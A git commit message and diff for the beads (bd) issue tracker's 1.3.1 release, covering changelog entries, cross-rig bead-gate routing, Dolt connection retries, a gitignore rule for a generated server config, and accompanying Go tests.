sha256-D+KDoLFJHpt9D9rCrtE3NMfL4fgK7UxpdKlCxp5yz5Y= got: sha256-wDU1tw/4t2CetwQl4+zUhlDI70dSasLLI2Gy66ZyhQQ= The repo documents this coupling in .github/dependabot.yml; the existing "Update vendorHash for dependabot Go bumps" workflow only fires for dependabot PRs, so a manual bump is needed here. (cherry picked from commit 851aa2f20ab7556c97f5650cf0976cd6a6946dd4) * docs(changelog): record the 1.3.1 cherry-pick behaviour deltas Documents all eleven picks under the existing `## [1.3.1]` heading. The six behaviour deltas go under Changed, including the two that are not pure wins and that a user is most likely to hit without knowing why: - bd doctor now warns on every pre-existing workspace until --fix appends the new .beads/dolt-server-config.yaml gitignore rule. - opening a store against a dead server takes up to ~30s to fail instead of failing instantly, because the boot ping is retried. Also called out as non-obvious: the ready set grows where custom active-category statuses exist, bare --wisp-type becomes a refusal rather than an empty success, and the Dolt bump converts a quietly corrupting backup sync into a loud failing one without repairing backups already in that state. The dated `## [1.3.0]` section is shipped and is left byte-identical: the diff is 165 insertions and 0 deletions, and the [1.3.0]-to-EOF region still hashes to 798a2ee0b0f0b7a3f0fc017ae01c919807740348a34f5ea8719b82a008533d00. The `## [1.3.1]` date is left for a later release prep to restamp. * fix(nix): recompute vendorHash for the release-branch dependency set The #5931 cherry-pick (510675948) bumps four dolt module pins, which invalidates the pinned vendorHash. Neither side's value was usable: the release branch already carried its own dependency bump (d594092eb), so this pick lands on a vendor set that has existed on neither release/1.3.0 nor main, and #5931's own hash was computed against main's graph. Taken from the `got:` value the nix-build lane reported for this branch: specified: sha256-wDU1tw/4t2CetwQl4+zUhlDI70dSasLLI2Gy66ZyhQQ= got: sha256-DQdauEx5g48Xbxrz4wGLx4vkrQoYQX3FUx+7N/Y6YV4= go mod tidy after the pick was a no-op, and the dependency delta against the release tip is exactly the four intended pins, so this hash covers that change and nothing else. * docs(changelog): scope the #6003 open-latency entry and correct its bound The 1.3.1 entry for the openDB bootstrap-ping retry said "up to ~30s" and named no topology. Both were misleading: - 30s is the retry BUDGET, not the wall-clock bound. backoff stops scheduling new attempts at 30s (MaxElapsedTime, dolt_sql_provider.go) but cannot cancel one in flight, and pingAttemptTimeout caps an attempt at 10s — so a single open can take ~40s. openAndInitSchema pings twice, each with a fresh budget, so the narrow case where the backend satisfies the first ping and the schema init and is then unreachable for the second reaches ~80s. - Only unit-of-work provider construction takes that ping, which is a minority of topologies: proxied-server (local and external) on every command, plus `bd serve` in server/external-server/shared-server workspaces, which funnels through newSQLServerUOWProvider. Embedded never reaches it (bd serve refuses embedded outright), and an ordinary CLI command in a server or shared-server workspace opens a DoltStore that takes no such ping. An embedded reader of the old entry would have triaged a slowdown that cannot affect them. CHANGELOG only; the dated [1.3.0] section is unchanged (verified byte-identical, sha256 798a2ee0…, 9169 lines). --------- Co-authored-by: Vishnu J Co-authored-by: Karel Bourgois Co-authored-by: Adam Spiers Co-authored-by: Adam Spiers Co-authored-by: swedeinasia-flow Co-authored-by: Jim Wordelman --- CHANGELOG.md | 182 +++++++++++++++ .../audit_dependencies_readiness.go | 33 +-- cmd/bd/close.go | 2 +- cmd/bd/create.go | 2 +- cmd/bd/create_dispatch_test.go | 43 ++++ cmd/bd/create_input.go | 2 +- cmd/bd/create_input_test.go | 30 +++ cmd/bd/doctor/gitignore.go | 2 + cmd/bd/doctor/gitignore_test.go | 33 +++ cmd/bd/gate.go | 52 +++-- cmd/bd/gate_proxied_server.go | 17 +- cmd/bd/gate_routing_test.go | 77 +++++++ cmd/bd/gate_test.go | 41 +++- cmd/bd/list.go | 14 +- cmd/bd/list_footer_counts_test.go | 85 ++++++- cmd/bd/list_helpers_test.go | 4 +- cmd/bd/list_input.go | 23 ++ cmd/bd/list_output.go | 20 +- cmd/bd/list_output_test.go | 102 +++++++++ cmd/bd/list_proxied_server.go | 6 +- cmd/bd/list_show_filter_modes.go | 12 +- cmd/bd/list_tree.go | 58 +++-- cmd/bd/list_wisp_type_reachability_test.go | 130 +++++++++++ cmd/bd/markdown_test.go | 32 +++ cmd/bd/setup/claude.go | 39 +++- cmd/bd/setup/claude_test.go | 204 +++++++++++++++++ default.nix | 7 +- go.mod | 8 +- go.sum | 16 +- internal/storage/dolt/queries_test.go | 62 +++++ internal/storage/issueops/helpers.go | 2 +- internal/storage/issueops/helpers_test.go | 53 ++++- internal/storage/issueops/ready_work_test.go | 26 +++ internal/storage/sqlbuild/ready.go | 10 +- internal/storage/sqlbuild/sqlbuild_test.go | 16 +- internal/storage/uow/dolt_sql_provider.go | 94 +++++++- .../storage/uow/dolt_sql_provider_test.go | 216 ++++++++++++++++++ internal/workapi/list.go | 14 +- internal/workapi/list_pinned_test.go | 6 +- internal/workapi/list_ready_status_test.go | 123 ++++++++++ internal/workapi/ready.go | 4 +- internal/workapi/sort.go | 13 +- .../workapi/testdata/list_filter_golden.json | 4 +- issueops/reader.go | 7 +- issueops/reader_ready_scope.go | 17 +- 45 files changed, 1807 insertions(+), 136 deletions(-) create mode 100644 cmd/bd/gate_routing_test.go create mode 100644 cmd/bd/list_wisp_type_reachability_test.go create mode 100644 internal/storage/uow/dolt_sql_provider_test.go create mode 100644 internal/workapi/list_ready_status_test.go diff --git a/CHANGELOG.md b/CHANGELOG.md index 8a4489a31..51e2e2ddd 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -57,6 +57,91 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 setting one in a file whose top level is not a mapping. A script that tolerated the old exit 0 now has to handle the failure. +- **`bd ready` and `bd list --ready` now return issues whose custom status is in + the `active` category** ([#5918](https://github.com/gastownhall/beads/pull/5918), + [#5831](https://github.com/gastownhall/beads/issues/5831)). The ready query + treated its `open` pin as an exact match, so a workspace that defined, say, + `triaged:active` never saw those issues in ready work — even though + `bd statuses`, the `ready_issues` view, and claim eligibility all already + counted that category as ready. **The ready set grows on upgrade** for any + workspace using custom active statuses: counts and dashboards will read higher, + and `bd ready` can hand out issues it used to withhold. Custom + `wip`/`done`/`frozen`/unspecified statuses stay out, and `in_progress` stays + out, both unchanged. + +- **`bd list --wisp-type ` with no plane admitted is now a refusal instead of + an empty listing** ([#6098](https://github.com/gastownhall/beads/pull/6098)). + `--wisp-type` narrows an admitted plane rather than admitting one, so alone it + could not match any row and exited 0 with an empty result for every input. It + now fails with a hint naming `--include-ephemeral`. A script that ran it and + read the empty output as "no such wisps" now sees an error — which is the + point: the old success answered a question it had not asked. The refusal is + CLI-only; the equivalent API request stays lawful and still composes to an + empty page. + +- **The `--ready` footer names the status pin that actually applied** + ([#5924](https://github.com/gastownhall/beads/pull/5924)). With no `--status` + (or `--status all`) the line is unchanged: `open only — --ready excludes + in_progress`. With an explicit `--status` it now reads ` only` + instead of reusing the default-open sentence, which is no longer true once the + selector is honored (see **Fixed**). Anything scraping that parenthetical for + a `--status`-plus-`--ready` run sees new text — though that combination also + returned the wrong rows before this release. Note that the default sentence now + understates the set, since custom active statuses join it (above); the footer + and `--ready` help text are corrected upstream on main + ([#6187](https://github.com/gastownhall/beads/issues/6187), + [#6188](https://github.com/gastownhall/beads/issues/6188)). + +- **`bd doctor` reports a new missing gitignore pattern on every workspace + created before this release, until `bd doctor --fix` is run** + ([#5978](https://github.com/gastownhall/beads/pull/5978)). + `.beads/dolt-server-config.yaml` joined the required `.beads/.gitignore` + patterns (see **Fixed**), so a workspace that was clean a moment ago now + warns. `bd doctor --fix` appends the rule and silences it; workspaces + initialised after this release get it from the template and never warn. + +- **Opening a store against an unreachable Dolt server now takes up to ~40s to + fail instead of failing at once — on proxied-server workspaces, and under + `bd serve`** ([#6003](https://github.com/gastownhall/beads/pull/6003)). The + bootstrap ping is retried for up to 30 seconds, each attempt capped at 10s, so + a server still coming up is waited out rather than turned into a hard failure + (see **Fixed**). The cost is that a genuinely dead or misconfigured endpoint no + longer errors immediately: an interactive command against a stopped server, and + any script or CI step that counted on a fast failure, now waits out the retry + budget first. Durable rejections — bad credentials, unknown database, a + hostname that does not resolve — are still reported immediately without + retrying. + + Only the paths that build a unit-of-work provider take that ping, so this is a + minority of topologies: every command in a proxied-server workspace, local or + external, and `bd serve` in a server, external-server or shared-server + workspace, which builds its own provider through the same funnel. **Embedded — + the default — is unaffected entirely**; `bd serve` refuses it outright, and no + embedded command can slow down here. An ordinary CLI command in a server or + shared-server workspace is also unaffected: it opens a Dolt store, which does + not take this ping. Only that mode's `bd serve` startup does. + + The 30s figure is the retry budget, not the wall-clock bound. It stops + *scheduling* attempts at 30s but cannot cancel one already in flight, and each + attempt carries its own 10s cap, so ~40s is the honest worst case for a single + open. A provider open pings twice — once for the schema-init connection, once + for the database pool — each with a fresh budget, so a backend that satisfies + the first ping and the schema init and is then unreachable for the second can + push one command to ~80s. That ordering is narrow, but it is reachable. + +- **A backup sync that would leave the backup's manifest ahead of its chunk + files now fails at that point instead of corrupting the backup quietly** + ([#5931](https://github.com/gastownhall/beads/pull/5931), + [#4070](https://github.com/gastownhall/beads/issues/4070)). The Dolt bump + brings upstream's defense, which rejects a manifest update referencing a + missing table file. Previously that update was accepted and only some later + sync failed, confusingly, with `table file not found` — and stayed broken. A + sync that used to appear to succeed can now report a failure; that failure is + the corruption being caught at the moment it happens. This is a mitigation, + not a root-cause fix: backup file-and-manifest publish is still non-atomic, + and **backups already in the manifest-ahead state are not repaired** by + upgrading — they surface as a failing sync and have to be re-seeded. + ### Fixed - **`bd dolt start` no longer puts a second sql-server over a proxied @@ -96,6 +181,103 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 Two consequences of the nested write — the flat-key migration and two new failure exits — are under **Changed** above. +- **`bd list --status --ready` honors `--status`** + ([#5924](https://github.com/gastownhall/beads/pull/5924), + [#5832](https://github.com/gastownhall/beads/issues/5832)). Combining the two + silently dropped `--status` and returned the unfiltered ready set, because the + ready path pinned `open` in two places regardless of what was asked for, so a + custom status or `in_progress` never reached the ready query. An explicit + `--status` is now the ready-work status selector, matching how the other list + filters already compose with `--ready`. `--ready` with no `--status` still + defaults to open, and `--status all` remains the no-filter spelling. The footer + wording moves with it — see **Changed**. + +- **`bd list --wisp-type` can reach rows at all** + ([#6098](https://github.com/gastownhall/beads/pull/6098)). `bd list` now + registers `--include-ephemeral`, the plane knob `--wisp-type` needs, off by + default so the default listing is byte-identical. `bd list + --include-ephemeral --wisp-type heartbeat` is the working spelling. Before + this, the only way to admit the wisp plane from `bd list` was `--type + `, which also lifts the infra-type exclusions and changes template + treatment — three decisions for a caller who wanted one classification. Bare + `--wisp-type` is now refused rather than empty; see **Changed**. + +- **`bd doctor` knows about the generated `.beads/dolt-server-config.yaml`** + ([#5978](https://github.com/gastownhall/beads/pull/5978)). + `doltserver.Start()` writes that file when the resolved dolt binary supports + `auto_gc_behavior.archive_level`, but the hyphenated name falls outside the + `dolt-server.` prefix its five sibling server-state entries share, so neither + the gitignore template nor the required-pattern list covered it. It holds an + absolute `cfg_dir` and a per-machine port, so committing it breaks every other + clone — the same reason the template already gives for `redirect`. It shows up + as untracked in every consumer repo whose dolt supports `archive_level`. It is + now in both lists: the template covers new workspaces, and the required + patterns are what `bd doctor --fix` appends to an existing + `.beads/.gitignore` — see **Changed** for the warning that implies. + +- **The missing-prefix error stops recommending a config key that does nothing** + ([#5936](https://github.com/gastownhall/beads/pull/5936), + [#5916](https://github.com/gastownhall/beads/issues/5916)). When the database's + `issue_prefix` config row was absent, the error advised using the + `issue-prefix` key in `config.yaml` — but that gate only reads the database's + config table, so following the advice produced a tracked config field that + changed nothing and misled the next reader. The message now points at + `bd init --prefix` or `bd bootstrap`, which is what writes the row, and says + plainly which store the check reads. Error text only; resolution behaviour is + unchanged. + +- **`bd create --file` says that it creates one issue per `##` heading** + ([#5921](https://github.com/gastownhall/beads/pull/5921)). The usage string was + "Create multiple issues from markdown file", which named neither the per-H2 + semantics nor `--body-file`. Someone wanting "one issue, description loaded + from a file" reached for the shortest flag and got a silent bulk import — a + briefing file with `## Problem` / `## Context` / `## Acceptance Criteria` + became three issues. The usage now names the behaviour, and the existing + rejection of a positional title combined with `--file` carries a `--body-file` + hint. `--file` alone on a section-headed file is unchanged: bd cannot tell that + apart from a genuine batch file by content. + +- **The list truncation hint no longer leaves a padded blank line under the + shell prompt** ([#5927](https://github.com/gastownhall/beads/pull/5927), + [#5685](https://github.com/gastownhall/beads/issues/5685)). The hint passed its + surrounding newlines through the warning renderer, which treats them as a + block, pads the blank lines out to the widest line's width, and drops the + trailing newline — so the next prompt printed on top of a run of spaces. The + newlines are kept outside the renderer now, leaving one coloured line with a + real trailing newline. + +- **`bd setup claude` and `bd init` stop rewriting `.claude/settings.json` on + every run** ([#5944](https://github.com/gastownhall/beads/pull/5944), + [#5693](https://github.com/gastownhall/beads/issues/5693)). The settings map + was marshaled without a trailing newline and written unconditionally, so each + run stripped the newline Claude Code's own writes leave behind and rewrote the + file even when no hook had changed. Because `bd init` git-adds that file, it + surfaced as a staged diff with no semantic content. The write now keeps the + trailing newline and is skipped when the bytes match what is already on disk, + at all four call sites — the settings write and the `settings.local.json` + migration on install, and both again on remove. + +- **`bd gate check` resolves bead gates whose target lives in a prefix-routed + rig** ([#5859](https://github.com/gastownhall/beads/pull/5859)). After a local + miss, the evaluator follows the target bead ID through `routes.jsonl` and reads + the owning store without writing to it; previously such a gate stayed pending + until someone resolved it manually. This covers explicit gate checks in + embedded, server, and proxied-server command paths. The legacy + `:` await value remains accepted for compatibility, a malformed + cross-rig value is rejected, and when prefix routing is unavailable the original + local not-found error is preserved. + +- **A transient connection drop while opening a Dolt store is retried instead of + failing the command** + ([#6003](https://github.com/gastownhall/beads/pull/6003)). The bootstrap ping + in the unit-of-work provider was unretried, so a server still finishing startup + — or one that reset the connection mid-handshake — became a hard failure. + Connection-level shapes (`driver.ErrBadConn`, `mysql.ErrInvalidConn`, EOF, any + `*net.OpError`) are now retried for up to 30s, each attempt capped at 10s so a + server that accepts TCP and then stalls cannot block for the caller's whole + context. Durable rejections and an unresolvable hostname still fail without + retrying. See **Changed** for the latency this adds against a dead endpoint. + ## [1.3.0] - 2026-09-15 The first tested release off `main` since the 1.1 line. [1.2.2] was a recovery diff --git a/backend/conformance/audit_dependencies_readiness.go b/backend/conformance/audit_dependencies_readiness.go index f4e322271..aefded74e 100644 --- a/backend/conformance/audit_dependencies_readiness.go +++ b/backend/conformance/audit_dependencies_readiness.go @@ -385,27 +385,28 @@ func testAuditReadyTypeAndPinnedExclusions(t *testing.T, f Factory) { // Statuses, the legacy open/in_progress default when both are empty, and a // custom (non-built-in) status flowing through the same IN clause. // -// THIS IS THE ONLY OBSERVER OF THE OR-SET ARM, AND IT COVERS EVERY SEAM THE ARM -// IS REACHABLE FROM. No role can ask for it — publicops.ReadyRequest carries no -// status field of any kind, which RunReadyCounterCountsOnlyTheOpenRowsItsListingLists -// says from the other side — and no in-tree caller sets it either. Every builder -// that renders a ready query sends the SINGULAR status: workapi.BuildReadyFilter -// and BuildReadyCountFilter send StatusOpen, and ReadyFilterFromIssueFilter sends -// StatusOpen while dropping IssueFilter.Statuses, which BuildListFilter has -// already resolved to open under --ready (issueops/reader_ready_scope.go states -// that override and why the projection has nothing to drop). What is left is the -// storage seam this file runs against, which backend.DoltStorage publishes to -// out-of-tree backends — so Statuses is a public filter field whose only reachable -// consumer class is exactly the one RunAll is the proof obligation for. +// THE OR-SET ARM IS REACHABLE FROM `bd list --status a,b --ready`. +// ReadyFilterFromIssueFilter copies IssueFilter.Statuses onto the ready-work +// filter instead of dropping it, and BuildListFilter no longer always +// resolves --ready to open: an explicit selector is the intersection +// (GH#5832; issueops/reader_ready_scope.go states the honor path). +// publicops.ReadyRequest still carries no status field of any kind, which +// RunReadyCounterCountsOnlyTheOpenRowsItsListingLists says from the other +// side, so `bd ready` — workapi.BuildReadyFilter and BuildReadyCountFilter — +// still send the SINGULAR StatusOpen. The list --ready path is the in-tree +// caller that sets Statuses. This file remains the storage-seam observer +// for the OR-set arm against backend.DoltStorage, which publishes the field +// to out-of-tree backends; RunAll is still the proof obligation for that +// seam. // // The unit-of-work provider's ready union renders this arm from the same shared // builder (sqlbuild.BuildReadyWorkWhere), applied to the wisps table as well as // issues where the classic stack projects the wisp plane onto a types.IssueFilter // instead. Its copy is deliberately unpinned rather than overlooked: that provider -// is not a storage.DoltStorage, so no external caller reaches it, and no in-tree -// caller sets Statuses at all. Promoting a status set onto ReadyRequest is what -// would make it reachable, and would move this case to reader_contract.go beside -// RunReaderReadySetOwnsItsStatusPinnedAndTemplateDecisions, where all three +// is not a storage.DoltStorage, so no external caller reaches it. A status set on +// ReadyRequest would additionally make `bd ready` vote on this case, and would +// move it to reader_contract.go beside +// RunReaderReadySetOwnsItsStatusPinnedAndTemplateDecisions, where the ready-role // wirings would vote on it. func testAuditReadyMultiStatusFilter(t *testing.T, f Factory) { s := f(t) diff --git a/cmd/bd/close.go b/cmd/bd/close.go index d87223c3d..dee1ddc3e 100644 --- a/cmd/bd/close.go +++ b/cmd/bd/close.go @@ -568,7 +568,7 @@ func checkGateSatisfaction(issue *types.Issue) error { case issue.AwaitType == "timer": resolved, escalated, reason, err = checkTimer(issue, time.Now()) case issue.AwaitType == "bead": - resolved, reason = checkBeadGate(rootCtx, store, issue.AwaitID) + resolved, reason = checkBeadGate(rootCtx, routedBeadGateGetter{localStore: store}, issue.AwaitID) if resolved { return nil } diff --git a/cmd/bd/create.go b/cmd/bd/create.go index 3d97cea34..58a421ece 100644 --- a/cmd/bd/create.go +++ b/cmd/bd/create.go @@ -915,7 +915,7 @@ func createDepsAcceptedTypeList() string { } func init() { - createCmd.Flags().StringP("file", "f", "", "Create multiple issues from markdown file") + createCmd.Flags().StringP("file", "f", "", "Create one issue per ## heading (### fields attach to that issue); for title plus description-from-file, use --body-file") createCmd.Flags().String("graph", "", "Create a graph of issues with dependencies from JSON plan file") createCmd.Flags().String("title", "", "Issue title (alternative to positional argument)") createCmd.Flags().Bool("silent", false, "Output only the issue ID (for scripting)") diff --git a/cmd/bd/create_dispatch_test.go b/cmd/bd/create_dispatch_test.go index 3f64487a2..0ee433a8a 100644 --- a/cmd/bd/create_dispatch_test.go +++ b/cmd/bd/create_dispatch_test.go @@ -171,3 +171,46 @@ func TestCreateSingleIssueAllowEmptyDescriptionRoundTrip(t *testing.T) { t.Fatalf("expected issue %q to be created via --allow-empty-description opt-in", title) } } + +// TestCreateFileDispatchRejectsPositionalTitle is a regression test for +// gastownhall/beads#4643: --file is a batch-import route, so a positional +// title has nowhere to go once createIssuesFromMarkdown takes over. This +// asserts gatherCreateInput's existing guard still rejects the combination +// before any issue is written, rather than silently discarding the title. +func TestCreateFileDispatchRejectsPositionalTitle(t *testing.T) { + saveAndRestoreGlobals(t) + ensureCleanGlobalState(t) + + readonlyMode = false + t.Cleanup(func() { readonlyMode = false }) + + fileFlag := createCmd.Flags().Lookup("file") + t.Cleanup(func() { + _ = fileFlag.Value.Set("") + fileFlag.Changed = false + }) + + tmpDir := t.TempDir() + mdPath := filepath.Join(tmpDir, "single.md") + if err := os.WriteFile(mdPath, []byte("## My Bead\n\nBody text.\n"), 0644); err != nil { + t.Fatalf("write markdown fixture: %v", err) + } + + if err := createCmd.Flags().Set("file", mdPath); err != nil { + t.Fatalf("set --file: %v", err) + } + + var err error + stderr := captureStderr(t, func() { + err = createCmd.RunE(createCmd, []string{"my new bead"}) + }) + if err == nil { + t.Fatal("expected --file dispatch with a positional title to be rejected") + } + if !strings.Contains(stderr, "cannot specify both title and --file flag") { + t.Fatalf("expected title/--file conflict message on stderr, got: %v (err: %v)", stderr, err) + } + if !strings.Contains(stderr, "--body-file") { + t.Fatalf("expected title/--file conflict to hint at --body-file, got: %v (err: %v)", stderr, err) + } +} diff --git a/cmd/bd/create_input.go b/cmd/bd/create_input.go index 6513e50fa..aecf5c685 100644 --- a/cmd/bd/create_input.go +++ b/cmd/bd/create_input.go @@ -97,7 +97,7 @@ func gatherCreateInput(cmd *cobra.Command, args []string) (createInput, error) { } if in.markdownFile != "" { if len(args) > 0 { - return in, HandleError("cannot specify both title and --file flag") + return in, HandleError("cannot specify both title and --file flag; for a single issue's description from a file, use --body-file") } if in.dryRun { return in, HandleError("--dry-run is not supported with --file flag") diff --git a/cmd/bd/create_input_test.go b/cmd/bd/create_input_test.go index 0574e8300..9fb796be1 100644 --- a/cmd/bd/create_input_test.go +++ b/cmd/bd/create_input_test.go @@ -40,6 +40,36 @@ func TestCreateCommandRegistersEmptyDescriptionOptIn(t *testing.T) { } } +func TestCreateFileFlagHelpDoesNotClaimSingleIssueGH4643(t *testing.T) { + f := createCmd.Flags().Lookup("file") + if f == nil { + t.Fatal("expected create to register --file") + } + if !strings.Contains(f.Usage, "one issue per") { + t.Fatalf("expected --file help text to name its per-heading batch behavior, got: %q", f.Usage) + } + if !strings.Contains(f.Usage, "--body-file") { + t.Fatalf("expected --file help text to point single-issue callers at --body-file, got: %q", f.Usage) + } +} + +func TestGatherCreateInputRejectsTitleWithFile(t *testing.T) { + cmd := newCreateFlagsCommand(t, "--file", "issues.md") + var err error + stderr := captureStderr(t, func() { + _, err = gatherCreateInput(cmd, []string{"Some title"}) + }) + if err == nil { + t.Fatal("expected gatherCreateInput to reject a positional title with --file") + } + if !strings.Contains(stderr, "cannot specify both title and --file flag") { + t.Fatalf("expected title/--file conflict on stderr, got stderr=%q err=%v", stderr, err) + } + if !strings.Contains(stderr, "--body-file") { + t.Fatalf("expected title/--file conflict to hint at --body-file, got stderr=%q err=%v", stderr, err) + } +} + func TestGatherCreateInputRejectsEmptyBodyFile(t *testing.T) { filePath := filepath.Join(t.TempDir(), "empty.md") if err := os.WriteFile(filePath, nil, 0644); err != nil { diff --git a/cmd/bd/doctor/gitignore.go b/cmd/bd/doctor/gitignore.go index 9bf418ab1..1a3c0b54f 100644 --- a/cmd/bd/doctor/gitignore.go +++ b/cmd/bd/doctor/gitignore.go @@ -65,6 +65,7 @@ dolt-server.log dolt-server.lock dolt-server.port dolt-server.activity +dolt-server-config.yaml # Debug-mode pprof artifacts (written when dolt.debug: true in config.yaml) dolt-pprof/ @@ -129,6 +130,7 @@ var requiredPatterns = []string{ "dolt-server.lock", "dolt-server.port", "dolt-server.activity", + "dolt-server-config.yaml", "daemon.*", "*.lock", "*.corrupt.backup/", diff --git a/cmd/bd/doctor/gitignore_test.go b/cmd/bd/doctor/gitignore_test.go index dc4ccd70c..d776a4c8d 100644 --- a/cmd/bd/doctor/gitignore_test.go +++ b/cmd/bd/doctor/gitignore_test.go @@ -1522,6 +1522,39 @@ func TestRequiredPatterns_ContainsSyncStatePatterns(t *testing.T) { } } +// TestGitignore_ContainsDoltServerConfig verifies that the generated Dolt +// server config is ignored like the other dolt-server.* runtime state files +// it sits beside. doltserver.Start() writes .beads/dolt-server-config.yaml +// when the resolved dolt binary supports auto_gc_behavior.archive_level, and +// it holds an absolute cfg_dir plus a per-machine port, so committing it +// would break every other clone. +// +// The hyphenated name falls outside the "dolt-server." prefix shared by the +// other five entries, so it was missed by both lists. It must be in +// requiredPatterns too, otherwise bd doctor --fix cannot heal an existing +// .beads/.gitignore. +func TestGitignore_ContainsDoltServerConfig(t *testing.T) { + // Keep this in sync with doltserver.doltServerConfigFileName. It is not + // imported here because cmd/bd/doctor must not depend on the server + // package for a string constant. + const pattern = "dolt-server-config.yaml" + + if !containsGitignorePattern(GitignoreTemplate, pattern) { + t.Errorf("GitignoreTemplate should contain %q", pattern) + } + + found := false + for _, p := range requiredPatterns { + if p == pattern { + found = true + break + } + } + if !found { + t.Errorf("requiredPatterns should include %q", pattern) + } +} + // TestCheckLastTouchedNotTracked_NoFile verifies that check passes when no last-touched file exists func TestCheckLastTouchedNotTracked_NoFile(t *testing.T) { tmpDir := t.TempDir() diff --git a/cmd/bd/gate.go b/cmd/bd/gate.go index 20950544e..1246d544e 100644 --- a/cmd/bd/gate.go +++ b/cmd/bd/gate.go @@ -12,6 +12,7 @@ import ( "github.com/spf13/cobra" "github.com/steveyegge/beads/internal/metrics" + "github.com/steveyegge/beads/internal/storage" "github.com/steveyegge/beads/internal/types" "github.com/steveyegge/beads/internal/ui" ) @@ -33,9 +34,9 @@ Gate types: gh:pr - Waits for PR merge (Phase 3) bead - Waits for another bead to close (Phase 4) -For bead gates, await_id is a bead ID in this rig's database (e.g., "bd-abc123"). -The historical cross-rig form : can no longer be evaluated -(multi-rig routing removed) and stays pending until resolved manually. +For bead gates, await_id may be a bead ID in this rig's database (e.g., +"bd-abc123") or the historical cross-rig form :. Cross-rig +targets resolve through the bead ID's prefix route in routes.jsonl. Examples: bd gate list # Show all open gates @@ -669,7 +670,7 @@ Examples: } } - results := evaluateGates(ctx, filteredGates, time.Now(), store, persistAwaitID) + results := evaluateGates(ctx, filteredGates, time.Now(), routedBeadGateGetter{localStore: store}, persistAwaitID) resolvedCount, escalatedCount, errorCount := applyGateCheckResults( results, dryRun, escalateFlag, @@ -1182,27 +1183,48 @@ type issueGetter interface { GetIssue(ctx context.Context, id string) (*types.Issue, error) } +// routedBeadGateGetter gives direct-mode gate checks the same local -> prefix +// route -> contributor fallback used by other read commands. Routed stores are +// opened read-only and closed before the result is returned. +type routedBeadGateGetter struct { + localStore storage.DoltStorage +} + +func (g routedBeadGateGetter) GetIssue(ctx context.Context, id string) (*types.Issue, error) { + if g.localStore == nil { + return nil, fmt.Errorf("no local store available") + } + result, err := getIssueWithRouting(ctx, g.localStore, id) + if err != nil { + return nil, err + } + defer result.Close() + return result.Issue, nil +} + // checkBeadGate checks if a bead gate is satisfied. // Returns (satisfied, reason). // -// A plain await_id (no colon) names a bead in THIS rig's database: the gate -// resolves once that bead closes — the common case, an agent idle-waiting on -// local work (wy-hgms2; the old unconditional cross-rig refusal left every -// local bead gate permanently pending and its waiters asleep). -// -// The historical cross-rig form : cannot be evaluated since -// multi-rig routing was removed; it stays pending with a descriptive message. +// A plain await_id names a bead in this rig. The historical +// : form uses the bead ID as the routed lookup key; the rig +// component is retained for compatibility while routes.jsonl remains keyed by +// bead prefix. The supplied getter owns local-versus-routed lookup policy. func checkBeadGate(ctx context.Context, st issueGetter, awaitID string) (bool, string) { if awaitID == "" { return false, "bead gate has no await_id" } + targetID := awaitID if strings.Contains(awaitID, ":") { - return false, fmt.Sprintf("cross-rig bead gate %q cannot be checked (multi-rig routing removed)", awaitID) + parts := strings.SplitN(awaitID, ":", 2) + if parts[0] == "" || parts[1] == "" { + return false, fmt.Sprintf("invalid cross-rig bead gate %q: expected :", awaitID) + } + targetID = parts[1] } if st == nil { return false, fmt.Sprintf("bead gate %q: no local store available", awaitID) } - issue, err := st.GetIssue(ctx, awaitID) + issue, err := st.GetIssue(ctx, targetID) if err != nil { return false, fmt.Sprintf("bead gate %q: %v", awaitID, err) } @@ -1210,9 +1232,9 @@ func checkBeadGate(ctx context.Context, st issueGetter, awaitID string) (bool, s return false, fmt.Sprintf("bead gate %q: bead not found", awaitID) } if issue.Status == types.StatusClosed { - return true, fmt.Sprintf("bead %s closed", awaitID) + return true, fmt.Sprintf("bead %s closed", targetID) } - return false, fmt.Sprintf("bead %s is %s", awaitID, issue.Status) + return false, fmt.Sprintf("bead %s is %s", targetID, issue.Status) } // closeGate closes a gate issue with the given reason diff --git a/cmd/bd/gate_proxied_server.go b/cmd/bd/gate_proxied_server.go index d3bf918a6..d8bc1b34f 100644 --- a/cmd/bd/gate_proxied_server.go +++ b/cmd/bd/gate_proxied_server.go @@ -39,8 +39,21 @@ func (proxiedFreshReadGetter) GetIssue(ctx context.Context, id string) (*types.I if err != nil { return nil, err } - defer uw.Close(ctx) - return uw.IssueUseCase().GetIssue(ctx, id) + issue, localErr := uw.IssueUseCase().GetIssue(ctx, id) + uw.Close(ctx) + if localErr == nil { + return issue, nil + } + if !gateProxiedNotFound(localErr) { + return nil, localErr + } + + result, routeErr := resolveViaPrefixRouting(ctx, id) + if routeErr != nil { + return nil, localErr + } + defer result.Close() + return result.Issue, nil } func runGateCheckProxiedServer(cmd *cobra.Command, ctx context.Context) error { diff --git a/cmd/bd/gate_routing_test.go b/cmd/bd/gate_routing_test.go new file mode 100644 index 000000000..2b93fdf2e --- /dev/null +++ b/cmd/bd/gate_routing_test.go @@ -0,0 +1,77 @@ +//go:build cgo + +package main + +import ( + "context" + "os" + "path/filepath" + "testing" + + "github.com/steveyegge/beads/internal/types" +) + +// TestCheckBeadGateCrossRigPrefixRoute proves the full evaluator seam: the +// historical rig:id value is reduced to the target bead ID, the current +// routes.jsonl prefix router opens the foreign store read-only, and target +// lifecycle state determines whether the gate resolves. +// +// NOTE: This test uses os.Chdir and cannot run in parallel with other tests. +func TestCheckBeadGateCrossRigPrefixRoute(t *testing.T) { + ctx := context.Background() + townRoot := t.TempDir() + townBeadsDir := filepath.Join(townRoot, ".beads") + rigBeadsDir := filepath.Join(townRoot, "rig", ".beads") + if err := os.MkdirAll(townBeadsDir, 0o755); err != nil { + t.Fatalf("create town beads dir: %v", err) + } + if err := os.MkdirAll(rigBeadsDir, 0o755); err != nil { + t.Fatalf("create rig beads dir: %v", err) + } + + townDBPath := filepath.Join(townBeadsDir, "dolt") + townStore := newTestStoreIsolatedDB(t, townDBPath, "hq") + rigStore := newTestStoreIsolatedDB(t, filepath.Join(rigBeadsDir, "dolt"), "gt") + for _, issue := range []*types.Issue{ + {ID: "gt-closed", Title: "Closed routed target", Status: types.StatusClosed, Priority: 2, IssueType: types.TypeTask}, + {ID: "gt-open", Title: "Open routed target", Status: types.StatusOpen, Priority: 2, IssueType: types.TypeTask}, + } { + if err := rigStore.CreateIssue(ctx, issue, "test"); err != nil { + t.Fatalf("create routed issue %s: %v", issue.ID, err) + } + } + if err := rigStore.Close(); err != nil { + t.Fatalf("close rig store: %v", err) 